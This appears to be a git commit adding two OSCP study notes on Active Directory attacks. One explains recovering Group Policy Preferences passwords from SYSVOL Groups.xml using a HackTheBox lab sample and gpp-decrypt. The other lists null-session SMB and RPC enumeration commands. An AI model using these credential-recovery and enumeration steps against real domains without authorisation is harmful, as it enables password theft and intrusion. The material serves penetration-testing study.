first commit

Windows/Active Directory for OSCP/Low Hanging Fruit/Group Policy in SYSVOL.md

@@ -0,0 +1,11 @@
+1. Group Policy Preferences is a collection of Group Policy client-side extensions that deliver preference settings to domain-joined computers running Microsoft Windows desktop and server operating systems.
+2. These policies allowed them to set local accounts, and embed credentials for various purposes that may otherwise require an embedded password in a script. So when a new Group Policy Preference (GPP) is generated, a xml file (generally Groups.xml) with the configuration data, including any passwords associated with the GPP, is created in the SYSVOL share which are folders on domain controllers accessible and readable to all authenticated domain users.
+3. The cpassword stored in XML file looks like:
+
+```sh
+└─$ cat Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml...
+D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description=""cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1"
+...
+
+gpp-decrypt <hash>
+```

Windows/Active Directory for OSCP/Low Hanging Fruit/Null Login.md

@@ -0,0 +1,9 @@
+
+```sh
+crackmapexec smb <ip> --shares -u '' -p ''
+smbmap -H <ip> -u '' -p ''
+smbmap -H <ip> -u ''
+
+rpcclient <ip> -U ''
+-> enumdomusers
+```